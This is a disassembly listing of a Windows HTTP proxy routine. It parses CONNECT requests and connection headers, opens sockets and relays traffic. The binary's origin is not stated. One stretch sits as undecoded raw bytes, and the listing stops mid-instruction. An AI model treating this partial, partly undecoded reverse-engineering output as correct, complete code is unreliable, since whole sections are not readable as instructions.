=============== S U B R O U T I N E ======================================= sub_4282C0 proc near ; CODE XREF: sub_401D2Aj var_B0 = byte ptr -0B0h var_AA = byte ptr -0AAh var_A8 = byte ptr -0A8h var_A7 = byte ptr -0A7h var_8C = byte ptr -8Ch var_74 = byte ptr -74h var_5C = byte ptr -5Ch var_48 = byte ptr -48h var_47 = byte ptr -47h var_46 = byte ptr -46h var_3C = byte ptr -3Ch var_34 = byte ptr -34h var_2C = dword ptr -2Ch var_26 = byte ptr -26h var_24 = byte ptr -24h var_20 = byte ptr -20h var_18 = byte ptr -18h var_C = byte ptr -0Ch var_A = byte ptr -0Ah var_9 = byte ptr -9 var_8 = byte ptr -8 var_4 = byte ptr -4 arg_C = byte ptr 10h arg_10 = byte ptr 14h arg_14 = byte ptr 18h arg_24 = byte ptr 28h arg_28 = byte ptr 2Ch arg_34 = byte ptr 38h arg_3C = byte ptr 40h arg_40 = byte ptr 44h arg_44 = byte ptr 48h arg_48 = byte ptr 4Ch arg_4A = word ptr 4Eh arg_4C = dword ptr 50h arg_50 = dword ptr 54h arg_54 = dword ptr 58h arg_58 = dword ptr 5Ch arg_64 = byte ptr 68h arg_68 = byte ptr 6Ch arg_6C = byte ptr 70h arg_91 = byte ptr 95h arg_98 = byte ptr 9Ch arg_9D = byte ptr 0A1h arg_AD = byte ptr 0B1h arg_D0 = dword ptr 0D4h arg_D4 = byte ptr 0D8h arg_E0 = dword ptr 0E4h arg_E4 = byte ptr 0E8h arg_EC = dword ptr 0F0h arg_F0 = byte ptr 0F4h arg_FC = byte ptr 100h arg_108 = byte ptr 10Ch arg_12C = byte ptr 130h arg_150 = byte ptr 154h arg_15C = byte ptr 160h arg_180 = byte ptr 184h arg_18C = byte ptr 190h arg_1A4 = byte ptr 1A8h arg_1B0 = byte ptr 1B4h arg_1F8 = byte ptr 1FCh arg_210 = byte ptr 214h arg_228 = byte ptr 22Ch arg_230 = byte ptr 234h arg_240 = byte ptr 244h arg_244 = dword ptr 248h arg_248 = dword ptr 24Ch arg_24C = dword ptr 250h arg_258 = byte ptr 25Ch arg_374 = byte ptr 378h arg_3EC = byte ptr 3F0h arg_3FC = byte ptr 400h arg_40C = byte ptr 410h arg_41C = byte ptr 420h arg_42C = byte ptr 430h arg_43C = byte ptr 440h arg_44C = byte ptr 450h arg_45C = byte ptr 460h arg_478 = byte ptr 47Ch arg_4478 = byte ptr 447Ch arg_53D0 = dword ptr 53D4h arg_53E0 = dword ptr 53E4h arg_5434 = byte ptr 5438h arg_5444 = byte ptr 5448h arg_544C = dword ptr 5450h arg_5454 = dword ptr 5458h arg_5480 = dword ptr 5484h push 0FFFFFFFFh mov eax, large fs:0 push offset loc_43BA92 push eax mov eax, 5488h mov large fs:0, esp call sub_436840 push ebx push ebp push esi mov ebp, ecx or esi, 0FFFFFFFFh push edi mov [ebp+0BFh], esi mov byte ptr [esp+11h], 0 mov [esp+1Ch+var_A], 0 loc_4282F8: ; CODE XREF: sub_4282C0+FC6j lea ecx, [esp+1Ch+arg_98] call sub_401B36 lea ecx, [esp+1Ch+var_8] mov [esp+1Ch+arg_5480], 0 mov [esp+1Ch+var_9], 0 call sub_401424 mov ecx, [ebp+0BBh] push 0 lea eax, [esp+20h+arg_374] push 104h push eax push ecx mov byte ptr [esp+2Ch+arg_5480], 1 call sub_401280 add esp, 10h test al, al jz loc_429310 lea edx, [esp+1Ch+arg_374] lea ecx, [esp+1Ch+arg_10] push edx call sub_401861 push offset byte_446F60 lea ecx, [esp+20h+arg_10] mov byte ptr [esp+20h+arg_5480], 2 call sub_4012EE test eax, eax jnz short loc_4283B0 lea ecx, [esp+1Ch+arg_10] mov byte ptr [esp+1Ch+arg_5480], 1 call sub_401226 lea ecx, [esp+1Ch+var_8] mov byte ptr [esp+1Ch+arg_5480], 0 call sub_401226 lea ecx, [esp+1Ch+arg_98] mov [esp+1Ch+arg_5480], esi call sub_4014B0 jmp loc_429280 ; --------------------------------------------------------------------------- loc_4283B0: ; CODE XREF: sub_4282C0+B4j push offset asc_443600 ; " " lea eax, [esp+20h+arg_210] push 0 push eax lea ecx, [esp+28h+arg_10] call sub_4016AE push offset off_445248 mov ecx, eax mov byte ptr [esp+20h+arg_5480], 3 call sub_401500 test eax, eax lea ecx, [esp+1Ch+arg_210] mov byte ptr [esp+1Ch+arg_5480], 2 setz bl call sub_401226 test bl, bl jz short loc_428475 push offset asc_443600 ; " " lea ecx, [esp+20h+arg_1F8] push 1 push ecx lea ecx, [esp+28h+arg_10] mov [esp+28h+var_9], 1 call sub_4016AE lea edx, [esp+1Ch+arg_98] mov ecx, eax push edx mov byte ptr [esp+20h+arg_5480], 4 call sub_4017E4 push eax call sub_401938 add esp, 8 lea ecx, [esp+1Ch+arg_1F8] test al, al setz bl mov byte ptr [esp+1Ch+arg_5480], 2 call sub_401226 test bl, bl jnz loc_4292FF push offset aHttp ; "http" lea ecx, [esp+20h+arg_98] call sub_4012EE test eax, eax jnz loc_4292FF jmp loc_42866A ; --------------------------------------------------------------------------- loc_428475: ; CODE XREF: sub_4282C0+137j push offset asc_443600 ; " " lea eax, [esp+20h+arg_228] push 0 push eax lea ecx, [esp+28h+arg_10] call sub_4016AE push offset aConnect_0 ; "CONNECT" mov ecx, eax mov byte ptr [esp+20h+arg_5480], 5 call sub_401500 test eax, eax lea ecx, [esp+1Ch+arg_228] mov byte ptr [esp+1Ch+arg_5480], 2 setz bl call sub_401226 test bl, bl jz loc_42866A push offset aConnect ; "connect" lea ecx, [esp+20h+arg_98] mov [esp+20h+var_9], 0 call sub_4015D7 push offset byte_446F60 lea ecx, [esp+20h+arg_F0] call sub_4015D7 push offset asc_443600 ; " " lea ecx, [esp+20h+arg_108] push 1 push ecx lea ecx, [esp+28h+arg_10] call sub_4016AE push offset asc_443C84 ; ":" lea edx, [esp+20h+arg_150] push 0 push edx mov ecx, eax mov byte ptr [esp+28h+arg_5480], 6 call sub_4016AE push eax lea ecx, [esp+20h+arg_AD] mov byte ptr [esp+20h+arg_5480], 7 call sub_401FBE lea ecx, [esp+1Ch+arg_150] mov byte ptr [esp+1Ch+arg_5480], 6 call sub_401226 lea ecx, [esp+1Ch+arg_108] mov byte ptr [esp+1Ch+arg_5480], 2 call sub_401226 push offset asc_443600 ; " " lea eax, [esp+20h+arg_258] push 1 push eax lea ecx, [esp+28h+arg_10] call sub_4016AE push offset asc_443C84 ; ":" lea ecx, [esp+20h+arg_180] push 1 push ecx mov ecx, eax mov byte ptr [esp+28h+arg_5480], 8 call sub_4016AE mov ecx, eax mov byte ptr [esp+1Ch+arg_5480], 9 call sub_4017E4 test eax, eax lea ecx, [esp+1Ch+arg_180] mov byte ptr [esp+1Ch+arg_5480], 8 setz bl call sub_401226 lea ecx, [esp+1Ch+arg_258] mov byte ptr [esp+1Ch+arg_5480], 2 call sub_401226 test bl, bl jnz loc_4292FF push offset asc_443600 ; " " lea edx, [esp+20h+arg_240] push 1 push edx lea ecx, [esp+28h+arg_10] call sub_4016AE push offset asc_443C84 ; ":" lea ecx, [esp+20h+arg_1B0] push 1 push ecx mov ecx, eax mov byte ptr [esp+28h+arg_5480], 0Ah call sub_4016AE mov ecx, eax mov byte ptr [esp+1Ch+arg_5480], 0Bh call sub_4017E4 push eax nop call near ptr 77C1BF18h add esp, 4 lea ecx, [esp+1Ch+arg_1B0] mov [esp+1Ch+arg_EC], eax mov byte ptr [esp+1Ch+arg_5480], 0Ah call sub_401226 lea ecx, [esp+1Ch+arg_240] mov byte ptr [esp+1Ch+arg_5480], 2 call sub_401226 mov eax, [esp+1Ch+arg_EC] test eax, eax jnz short loc_42866A mov [esp+1Ch+arg_EC], 50h loc_42866A: ; CODE XREF: sub_4282C0+1B0j ; sub_4282C0+1FCj ... push offset asc_443600 ; " " lea edx, [esp+20h+arg_28] push 0 push edx lea ecx, [esp+28h+arg_10] call sub_4016AE push offset byte_446F60 lea ecx, [esp+20h+arg_28] mov byte ptr [esp+20h+arg_5480], 0Ch call sub_4012EE test eax, eax jz loc_4292EE push offset asc_443600 ; " " lea eax, [esp+20h+arg_40] push 2 push eax lea ecx, [esp+28h+arg_10] call sub_4016AE push offset byte_446F60 lea ecx, [esp+20h+arg_40] mov byte ptr [esp+20h+arg_5480], 0Dh call sub_4012EE test eax, eax jz loc_4292DD lea ecx, [esp+1Ch+arg_AD] push ecx lea ecx, [esp+20h+arg_68] call sub_4014C9 mov ecx, 1000h xor eax, eax lea edi, [esp+1Ch+arg_478] or ebx, 0FFFFFFFFh rep stosd mov edi, offset aHttprox ; "HTTPROX" mov ecx, ebx repne scasb not ecx sub edi, ecx lea edx, [esp+1Ch+arg_4478] mov eax, ecx mov esi, edi mov edi, edx mov byte ptr [esp+1Ch+arg_5480], 0Eh shr ecx, 2 rep movsd mov ecx, eax lea eax, [esp+1Ch+arg_4478] and ecx, 3 rep movsb mov esi, offset asc_445220 ; "\r\n" loc_428731: ; CODE XREF: sub_4282C0+48Fj mov dl, [eax] mov cl, dl cmp dl, [esi] jnz short loc_428755 test cl, cl jz short loc_428751 mov dl, [eax+1] mov cl, dl cmp dl, [esi+1] jnz short loc_428755 add eax, 2 add esi, 2 test cl, cl jnz short loc_428731 loc_428751: ; CODE XREF: sub_4282C0+47Bj xor eax, eax jmp short loc_428759 ; --------------------------------------------------------------------------- loc_428755: ; CODE XREF: sub_4282C0+477j ; sub_4282C0+485j sbb eax, eax sbb eax, ebx loc_428759: ; CODE XREF: sub_4282C0+493j test eax, eax jz loc_428833 mov edi, dword_50FACC loc_428767: ; CODE XREF: sub_4282C0+56Dj mov esi, offset byte_446F60 lea eax, [esp+1Ch+arg_4478] loc_428773: ; CODE XREF: sub_4282C0+4D1j mov dl, [eax] mov cl, dl cmp dl, [esi] jnz short loc_428797 test cl, cl jz short loc_428793 mov dl, [eax+1] mov cl, dl cmp dl, [esi+1] jnz short loc_428797 add eax, 2 add esi, 2 test cl, cl jnz short loc_428773 loc_428793: ; CODE XREF: sub_4282C0+4BDj xor eax, eax jmp short loc_42879B ; --------------------------------------------------------------------------- loc_428797: ; CODE XREF: sub_4282C0+4B9j ; sub_4282C0+4C7j sbb eax, eax sbb eax, ebx loc_42879B: ; CODE XREF: sub_4282C0+4D5j test eax, eax jz loc_428833 mov ecx, [ebp+0BBh] push 0 lea eax, [esp+20h+arg_4478] push 1000h push eax push ecx call sub_401280 add esp, 10h test al, al jz loc_429339 lea edx, [esp+1Ch+arg_4478] push 4000h lea eax, [esp+20h+arg_478] push edx push eax call edi push 4000h lea ecx, [esp+2Ch+arg_478] push offset asc_445220 ; "\r\n" push ecx call edi add esp, 18h mov esi, offset asc_445220 ; "\r\n" lea eax, [esp+1Ch+arg_4478] loc_428803: ; CODE XREF: sub_4282C0+561j mov dl, [eax] mov cl, dl cmp dl, [esi] jnz short loc_428827 test cl, cl jz short loc_428823 mov dl, [eax+1] mov cl, dl cmp dl, [esi+1] jnz short loc_428827 add eax, 2 add esi, 2 test cl, cl jnz short loc_428803 loc_428823: ; CODE XREF: sub_4282C0+54Dj xor eax, eax jmp short loc_42882B ; --------------------------------------------------------------------------- loc_428827: ; CODE XREF: sub_4282C0+549j ; sub_4282C0+557j sbb eax, eax sbb eax, ebx loc_42882B: ; CODE XREF: sub_4282C0+565j test eax, eax jnz loc_428767 loc_428833: ; CODE XREF: sub_4282C0+49Bj ; sub_4282C0+4DDj mov esi, dword_50FAF8 lea eax, [esp+1Ch+arg_478] push offset aProxyConnectio ; "Proxy-Connection:" push eax call esi add esp, 8 test eax, eax jz short loc_428887 push offset asc_443C84 ; ":" push eax call esi add esp, 8 inc eax jz short loc_428887 cmp byte ptr [eax], 20h jnz short loc_42886B loc_428862: ; CODE XREF: sub_4282C0+5A9j mov cl, [eax+1] inc eax cmp cl, 20h jz short loc_428862 loc_42886B: ; CODE XREF: sub_4282C0+5A0j push offset aKeepAlive ; "Keep-Alive" push eax call near ptr 77C4624Eh nop add esp, 8 test eax, eax jz short loc_428887 mov byte ptr [ebp+0BAh], 1 jmp short loc_42888E ; --------------------------------------------------------------------------- loc_428887: ; CODE XREF: sub_4282C0+58Dj ; sub_4282C0+59Bj ... mov byte ptr [ebp+0BAh], 0 loc_42888E: ; CODE XREF: sub_4282C0+5C5j cmp [ebp+0BFh], ebx jnz loc_428926 push 6 push 1 push 2 nop call near ptr 71AB3B91h cmp eax, ebx mov [ebp+0BFh], eax jz loc_42940D mov edx, [esp+28h+arg_E0] xor ecx, ecx mov [esp+28h+arg_4C], ecx push edx mov [esp+2Ch+arg_50], ecx mov word ptr [esp+2Ch+arg_4C], 2 mov [esp+2Ch+arg_54], ecx mov [esp+2Ch+arg_58], ecx nop call near ptr 71AB2B66h lea ecx, [esp+2Ch+arg_9D] mov [esp+2Ch+arg_4A], ax call sub_4017E4 push eax call sub_40187F add esp, 4 cmp eax, ebx mov [esp+2Ch+arg_4C], eax jz loc_42934B mov ecx, [ebp+0BFh] lea eax, [esp+2Ch+arg_48] push 10h push eax push ecx call near ptr 71AB406Ah nop cmp eax, ebx jz loc_4293A8 loc_428926: ; CODE XREF: sub_4282C0+5D4j mov al, [esp+13h] test al, al jz loc_428FCE mov al, [ebp+0BAh] test al, al jz short loc_428971 lea edx, [esp+38h+arg_45C] lea ecx, [esp+38h+arg_24] push edx call sub_4017E4 push eax lea ecx, [esp+40h+arg_D4] call sub_4017E4 push eax lea ecx, [esp+44h+arg_C] call sub_4017E4 push eax lea eax, [esp+48h+var_24] push offset aSSSConnectionK ; "%s %s %s\r\nConnection: Keep-Alive\r\n%s" push eax jmp short loc_4289A4 ; --------------------------------------------------------------------------- loc_428971: ; CODE XREF: sub_4282C0+67Aj lea ecx, [esp+38h+arg_45C] push ecx lea ecx, [esp+3Ch+arg_24] call sub_4017E4 push eax lea ecx, [esp+40h+arg_D4] call sub_4017E4 push eax lea ecx, [esp+44h+arg_C] call sub_4017E4 push eax lea edx, [esp+48h+var_24] push offset aSSSConnectionC ; "%s %s %s\r\nConnection: close\r\n%s" push edx loc_4289A4: ; CODE XREF: sub_4282C0+6AFj call sub_40102D add esp, 18h lea ecx, [esp+38h+var_24] push 0 call sub_4013D9 push eax lea ecx, [esp+40h+var_24] call sub_4017E4 push eax mov eax, [ebp+0BFh] push eax nop call near ptr 71AB428Ah test eax, eax jz loc_4293F2 cmp eax, ebx jz loc_4293F2 mov edx, [ebp+0BFh] push 0 lea ecx, [esp+4Ch+arg_44C] push 4000h push ecx push edx call sub_401280 add esp, 10h test al, al jz loc_42941F mov edi, offset asc_445220 ; "\r\n" or ecx, 0FFFFFFFFh xor eax, eax lea edx, [esp+48h+arg_44C] repne scasb not ecx sub edi, ecx push eax mov esi, edi mov ebx, ecx mov edi, edx or ecx, 0FFFFFFFFh repne scasb mov ecx, ebx dec edi shr ecx, 2 rep movsd mov ecx, ebx and ecx, 3 rep movsb lea edi, [esp+4Ch+arg_44C] or ecx, 0FFFFFFFFh repne scasb not ecx dec ecx lea eax, [esp+4Ch+arg_44C] push ecx mov ecx, [ebp+0BBh] push eax push ecx nop call near ptr 71AB428Ah xor ebx, ebx mov esi, offset asc_445220 ; "\r\n" mov [esp+58h+var_2C], ebx lea eax, [esp+58h+arg_43C] loc_428A6E: ; CODE XREF: sub_4282C0+7CCj mov dl, [eax] mov cl, dl cmp dl, [esi] jnz short loc_428A92 test cl, cl jz short loc_428A8E mov dl, [eax+1] mov cl, dl cmp dl, [esi+1] jnz short loc_428A92 add eax, 2 add esi, 2 test cl, cl jnz short loc_428A6E loc_428A8E: ; CODE XREF: sub_4282C0+7B8j xor eax, eax jmp short loc_428A97 ; --------------------------------------------------------------------------- loc_428A92: ; CODE XREF: sub_4282C0+7B4j ; sub_4282C0+7C2j sbb eax, eax sbb eax, 0FFFFFFFFh loc_428A97: ; CODE XREF: sub_4282C0+7D0j test eax, eax jz loc_428E19 loc_428A9F: ; CODE XREF: sub_4282C0+B48j mov esi, offset byte_446F60 lea eax, [esp+58h+arg_43C] loc_428AAB: ; CODE XREF: sub_4282C0+80Dj mov dl, [eax] mov bl, [esi] mov cl, dl cmp dl, bl jnz short loc_428AD3 test cl, cl jz short loc_428ACF mov dl, [eax+1] mov bl, [esi+1] mov cl, dl cmp dl, bl jnz short loc_428AD3 add eax, 2 add esi, 2 test cl, cl jnz short loc_428AAB loc_428ACF: ; CODE XREF: sub_4282C0+7F7j xor eax, eax jmp short loc_428AD8 ; --------------------------------------------------------------------------- loc_428AD3: ; CODE XREF: sub_4282C0+7F3j ; sub_4282C0+803j sbb eax, eax sbb eax, 0FFFFFFFFh loc_428AD8: ; CODE XREF: sub_4282C0+811j test eax, eax jz loc_428E15 mov ecx, [ebp+0BFh] push 0 lea eax, [esp+5Ch+arg_43C] push 4000h push eax push ecx call sub_401280 add esp, 10h test al, al jz loc_428E10 lea edx, [esp+58h+arg_43C] lea ecx, [esp+58h+arg_44] push edx call sub_401861 push offset asc_443600 ; " " lea eax, [esp+5Ch+arg_1A4] push 0 push eax lea ecx, [esp+64h+arg_44] mov [esp+64h+arg_5444], 0Fh call sub_4016AE push offset aContentLength ; "Content-Length:" mov ecx, eax mov [esp+5Ch+arg_5444], 10h call sub_401500 test eax, eax lea ecx, [esp+58h+arg_1A4] mov [esp+58h+arg_5444], 0Fh setz bl call sub_401226 test bl, bl jz short loc_428BBA push offset asc_443600 ; " " lea ecx, [esp+5Ch+arg_E4] push 1 push ecx lea ecx, [esp+64h+arg_44] call sub_4016AE mov ecx, eax mov [esp+58h+arg_5444], 11h call sub_4017E4 push eax nop call near ptr 77C1BF18h add esp, 4 lea ecx, [esp+58h+arg_E4] mov [esp+58h+var_2C], eax mov [esp+58h+arg_5444], 0Fh call sub_401226 loc_428BBA: ; CODE XREF: sub_4282C0+8ACj push offset asc_443600 ; " " lea edx, [esp+5Ch+arg_FC] push 0 push edx lea ecx, [esp+64h+arg_44] call sub_4016AE push offset aTransferEncodi ; "Transfer-Encoding:" mov ecx, eax mov [esp+5Ch+arg_5444], 12h call sub_401500 test eax, eax lea ecx, [esp+58h+arg_FC] mov [esp+58h+arg_5444], 0Fh setz bl call sub_401226 test bl, bl jz short loc_428C49 push offset asc_443600 ; " " lea eax, [esp+5Ch+arg_12C] push 1 push eax lea ecx, [esp+64h+arg_44] call sub_4016AE push offset aChunked ; "chunked" mov ecx, eax mov [esp+5Ch+arg_5444], 13h call sub_401500 lea ecx, [esp+58h+arg_12C] mov [esp+58h+arg_5444], 0Fh call sub_401226 loc_428C49: ; CODE XREF: sub_4282C0+944j push offset asc_443600 ; " " lea ecx, [esp+5Ch+arg_15C] push 0 push ecx lea ecx, [esp+64h+arg_44] call sub_4016AE push offset aConnection ; "Connection:" mov ecx, eax mov [esp+5Ch+arg_5444], 14h call sub_401500 test eax, eax lea ecx, [esp+58h+arg_15C] mov [esp+58h+arg_5444], 0Fh setz bl call sub_401226 test bl, bl jz short loc_428CE4 push offset asc_443600 ; " " lea edx, [esp+5Ch+arg_18C] push 1 push edx lea ecx, [esp+64h+arg_44] call sub_4016AE push offset aKeepAlive ; "Keep-Alive" mov ecx, eax mov [esp+5Ch+arg_5444], 15h call sub_401500 test eax, eax lea ecx, [esp+58h+arg_18C] mov [esp+58h+arg_5444], 0Fh setz bl call sub_401226 test bl, bl setnz [esp+58h+var_47] loc_428CE4: ; CODE XREF: sub_4282C0+9D3j mov esi, offset asc_445220 ; "\r\n" lea eax, [esp+58h+arg_43C] loc_428CF0: ; CODE XREF: sub_4282C0+A52j mov dl, [eax] mov bl, [esi] mov cl, dl cmp dl, bl jnz short loc_428D18 test cl, cl jz short loc_428D14 mov dl, [eax+1] mov bl, [esi+1] mov cl, dl cmp dl, bl jnz short loc_428D18 add eax, 2 add esi, 2 test cl, cl jnz short loc_428CF0 loc_428D14: ; CODE XREF: sub_4282C0+A3Cj xor eax, eax jmp short loc_428D1D ; --------------------------------------------------------------------------- loc_428D18: ; CODE XREF: sub_4282C0+A38j ; sub_4282C0+A48j sbb eax, eax sbb eax, 0FFFFFFFFh loc_428D1D: ; CODE XREF: sub_4282C0+A56j test eax, eax jz loc_428DB9 mov esi, offset byte_446F60 lea eax, [esp+58h+arg_43C] loc_428D31: ; CODE XREF: sub_4282C0+A93j mov dl, [eax] mov bl, [esi] mov cl, dl cmp dl, bl jnz short loc_428D59 test cl, cl jz short loc_428D55 mov dl, [eax+1] mov bl, [esi+1] mov cl, dl cmp dl, bl jnz short loc_428D59 add eax, 2 add esi, 2 test cl, cl jnz short loc_428D31 loc_428D55: ; CODE XREF: sub_4282C0+A7Dj xor eax, eax jmp short loc_428D5E ; --------------------------------------------------------------------------- loc_428D59: ; CODE XREF: sub_4282C0+A79j ; sub_4282C0+A89j sbb eax, eax sbb eax, 0FFFFFFFFh loc_428D5E: ; CODE XREF: sub_4282C0+A97j test eax, eax jz short loc_428DB9 mov edi, offset asc_445220 ; "\r\n" or ecx, 0FFFFFFFFh xor eax, eax lea edx, [esp+58h+arg_43C] repne scasb not ecx sub edi, ecx push eax mov esi, edi mov ebx, ecx mov edi, edx or ecx, 0FFFFFFFFh repne scasb mov ecx, ebx dec edi shr ecx, 2 rep movsd mov ecx, ebx and ecx, 3 rep movsb lea edi, [esp+5Ch+arg_43C] or ecx, 0FFFFFFFFh repne scasb not ecx dec ecx lea eax, [esp+5Ch+arg_43C] push ecx mov ecx, [ebp+0BBh] push eax push ecx nop call near ptr 71AB428Ah loc_428DB9: ; CODE XREF: sub_4282C0+A5Fj ; sub_4282C0+AA0j lea ecx, [esp+68h+arg_34] mov [esp+68h+arg_5434], 0Eh call sub_401226 mov esi, offset asc_445220 ; "\r\n" lea eax, [esp+68h+arg_42C] loc_428DD9: ; CODE XREF: sub_4282C0+B3Bj mov dl, [eax] mov bl, [esi] mov cl, dl cmp dl, bl jnz short loc_428E01 test cl, cl jz short loc_428DFD mov dl, [eax+1] mov bl, [esi+1] mov cl, dl cmp dl, bl jnz short loc_428E01 add eax, 2 add esi, 2 test cl, cl jnz short loc_428DD9 loc_428DFD: ; CODE XREF: sub_4282C0+B25j xor eax, eax jmp short loc_428E06 ; --------------------------------------------------------------------------- loc_428E01: ; CODE XREF: sub_4282C0+B21j ; sub_4282C0+B31j sbb eax, eax sbb eax, 0FFFFFFFFh loc_428E06: ; CODE XREF: sub_4282C0+B3Fj test eax, eax jnz loc_428A9F jmp short loc_428E15 ; --------------------------------------------------------------------------- loc_428E10: ; CODE XREF: sub_4282C0+840j mov [esp+58h+var_46], 1 loc_428E15: ; CODE XREF: sub_4282C0+81Aj ; sub_4282C0+B4Ej mov ebx, [esp+58h+var_2C] loc_428E19: ; CODE XREF: sub_4282C0+7D9j mov al, [esp+58h+var_47] push 0 test al, al jz short loc_428E41 mov edi, offset aConnectionKeep ; "Connection: Keep-Alive\r\n" or ecx, 0FFFFFFFFh xor eax, eax repne scasb mov eax, [ebp+0BBh] not ecx dec ecx push ecx push offset aConnectionKeep ; "Connection: Keep-Alive\r\n" push eax jmp short loc_428E5D ; --------------------------------------------------------------------------- loc_428E41: ; CODE XREF: sub_4282C0+B61j mov edi, offset aConnectionClos ; "Connection: Close\r\n" or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx dec ecx push ecx mov ecx, [ebp+0BBh] push offset aConnectionClos ; "Connection: Close\r\n" push ecx loc_428E5D: ; CODE XREF: sub_4282C0+B7Fj call near ptr 71AB428Ah nop mov edi, offset asc_445220 ; "\r\n" or ecx, 0FFFFFFFFh xor eax, eax lea edx, [esp+68h+arg_42C] repne scasb not ecx sub edi, ecx push 0 mov eax, ecx mov esi, edi mov edi, edx mov edx, [ebp+0BBh] shr ecx, 2 rep movsd mov ecx, eax xor eax, eax and ecx, 3 rep movsb lea edi, [esp+6Ch+arg_42C] or ecx, 0FFFFFFFFh repne scasb not ecx dec ecx push ecx lea ecx, [esp+70h+arg_42C] push ecx push edx call near ptr 71AB428Ah nop test ebx, ebx jz loc_428F8C xor edi, edi test ebx, ebx jle short loc_428F14 loc_428EC3: ; CODE XREF: sub_4282C0+C52j mov eax, ebx sub eax, edi cmp eax, 4000h jbe short loc_428F14 mov edx, [ebp+0BFh] push 0 lea ecx, [esp+7Ch+arg_41C] push 4000h push ecx push edx nop call near ptr 71AB615Ah mov esi, eax cmp esi, 1 jl short loc_428F14 cmp esi, 0FFFFFFFFh jz short loc_428F14 mov ecx, [ebp+0BBh] push 0 lea eax, [esp+8Ch+arg_40C] push esi push eax push ecx nop call near ptr 71AB428Ah add edi, esi cmp edi, ebx jl short loc_428EC3 loc_428F14: ; CODE XREF: sub_4282C0+C01j ; sub_4282C0+C0Cj ... mov eax, ebx sub eax, edi jz short loc_428F5E loc_428F1A: ; CODE XREF: sub_4282C0+C9Cj push 0 push eax mov eax, [ebp+0BFh] lea edx, [esp+0A0h+arg_3FC] push edx push eax call near ptr 71AB615Ah nop mov esi, eax cmp esi, 1 jl short loc_428F5E cmp esi, 0FFFFFFFFh jz short loc_428F5E mov edx, [ebp+0BBh] push 0 lea ecx, [esp+0ACh+arg_3EC] push esi push ecx push edx call near ptr 71AB428Ah nop add edi, esi mov eax, ebx sub eax, edi jnz short loc_428F1A loc_428F5E: ; CODE XREF: sub_4282C0+C58j ; sub_4282C0+C77j ... mov al, [ebp+0BAh] test al, al jnz loc_4291EF mov ecx, [ebp+0BBh] push ecx call near ptr 71AB9639h nop or esi, 0FFFFFFFFh mov [esp+0BCh+var_AA], 1 mov [ebp+0BBh], esi jmp loc_4291F2 ; --------------------------------------------------------------------------- loc_428F8C: ; CODE XREF: sub_4282C0+BF7j mov esi, dword_50FC90 loc_428F92: ; CODE XREF: sub_4282C0+D0Cj mov ecx, [ebp+0BFh] push 0 lea eax, [esp+7Ch+arg_41C] push 4000h push eax push ecx call esi cmp eax, 1 jl short loc_428F5E cmp eax, 0FFFFFFFFh jz short loc_428F5E push 0 push eax mov eax, [ebp+0BBh] lea edx, [esp+90h+arg_40C] push edx push eax call near ptr 71AB428Ah nop jmp short loc_428F92 ; --------------------------------------------------------------------------- loc_428FCE: ; CODE XREF: sub_4282C0+66Cj lea ecx, [esp+38h+var_24] push offset aHttp1_0200Conn ; "HTTP/1.0 200 Connection established\r\n\r\n"... push ecx call sub_40102D add esp, 8 lea ecx, [esp+38h+var_24] push 0 call sub_4013D9 push eax lea ecx, [esp+40h+var_24] call sub_4017E4 mov edx, [ebp+0BBh] push eax push edx nop call near ptr 71AB428Ah test eax, eax jz loc_429492 cmp eax, ebx jz loc_429492 mov ebx, dword_50FC90 mov eax, [ebp+0BBh] mov edx, [ebp+0BFh] mov [esp+48h+arg_248], eax mov [esp+48h+arg_244], 1 xor eax, eax lea ecx, [esp+48h+arg_248] loc_429040: ; CODE XREF: sub_4282C0+D8Bj cmp [ecx], edx jz short loc_42904D inc eax add ecx, 4 cmp eax, 1 jb short loc_429040 loc_42904D: ; CODE XREF: sub_4282C0+D82j cmp eax, 1 jnz short loc_429064 mov [esp+48h+arg_24C], edx mov [esp+48h+arg_244], 2 loc_429064: ; CODE XREF: sub_4282C0+D90j mov ecx, 1000h xor eax, eax lea edi, [esp+48h+arg_44C] push eax rep stosd push eax lea ecx, [esp+50h+arg_244] push eax push ecx push eax nop call near ptr 71AB2DC0h mov eax, [ebp+0BBh] lea edx, [esp+5Ch+arg_230] push edx push eax call sub_436F60 ; --------------------------------------------------------------------------- dw 0C085h dd 958B4274h, 0BBh, 8C8D006Ah, 49C24h, 40006800h, 52510000h dd 0F883D3FFh, 9F840FFFh, 8BFFFFFEh, 0BF8Dh, 50006A00h dd 0A024848Dh, 50000004h, 0B3E89051h, 837168B1h, 840FFFF8h dd 0FFFFFE7Eh, 0BF858Bh, 948D0000h, 29024h, 0E8505200h dd 0DE6Ch, 4274C085h, 0BF958Bh, 6A0000h, 9C248C8Dh, 68000004h dd 4000h, 0D3FF5251h, 0FFFF883h, 0FFFE4584h, 0BB8D8BFFh dd 6A000000h, 848D5000h, 4A024h, 0E8515000h, 7168B15Ah dd 0FFF88390h, 0FE24840Fh, 3D8BFFFFh, 50F8D0h, 0D7FF056Ah dd 0BB858Bh, 6A0000h, 9C24948Dh, 68000004h, 4000h, 0D3FF5052h dd 0F685F08Bh, 0FDF8840Fh, 167DFFFFh, 36EE890h, 333D7169h dd 75000027h, 0FF016A09h, 0FE9BE9D7h, 958BFFFFh, 0BFh dd 0FC8C3D8Bh, 6A0050h, 9C248C8Dh, 56000004h, 0D7FF5251h dd 0BF8D8Bh, 6A0000h, 9C24848Dh, 68000004h, 4000h, 0D3FF5150h dd 0F685F08Bh, 0FDA4840Fh, 1A7DFFFFh, 31AE890h, 333D7169h dd 75000027h, 90016A0Dh, 406E2FE8h, 0FE43E902h, 858BFFFFh dd 0BBh, 948D006Ah, 49C24h, 50525600h, 2AE9D7FFh db 0FEh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_4291EF: ; CODE XREF: sub_4282C0+CA6j or esi, 0FFFFFFFFh loc_4291F2: ; CODE XREF: sub_4282C0+CC7j mov al, [esp+0B8h+var_A7] test al, al jnz short loc_429212 mov edx, [ebp+0BFh] push edx call near ptr 71AB9639h nop mov [ebp+0BFh], esi mov [esp+0BCh+var_AA], 1 loc_429212: ; CODE XREF: sub_4282C0+F38j lea ecx, [esp+0BCh+var_34] mov byte ptr [esp+0BCh+arg_53E0], 0Dh call sub_401226 lea ecx, [esp+0BCh+var_5C] mov byte ptr [esp+0BCh+arg_53E0], 0Ch call sub_401226 lea ecx, [esp+0BCh+var_74] mov byte ptr [esp+0BCh+arg_53E0], 2 call sub_401226 lea ecx, [esp+0BCh+var_8C] mov byte ptr [esp+0BCh+arg_53E0], 1 call sub_401226 lea ecx, [esp+0BCh+var_A8] mov byte ptr [esp+0BCh+arg_53E0], 0 call 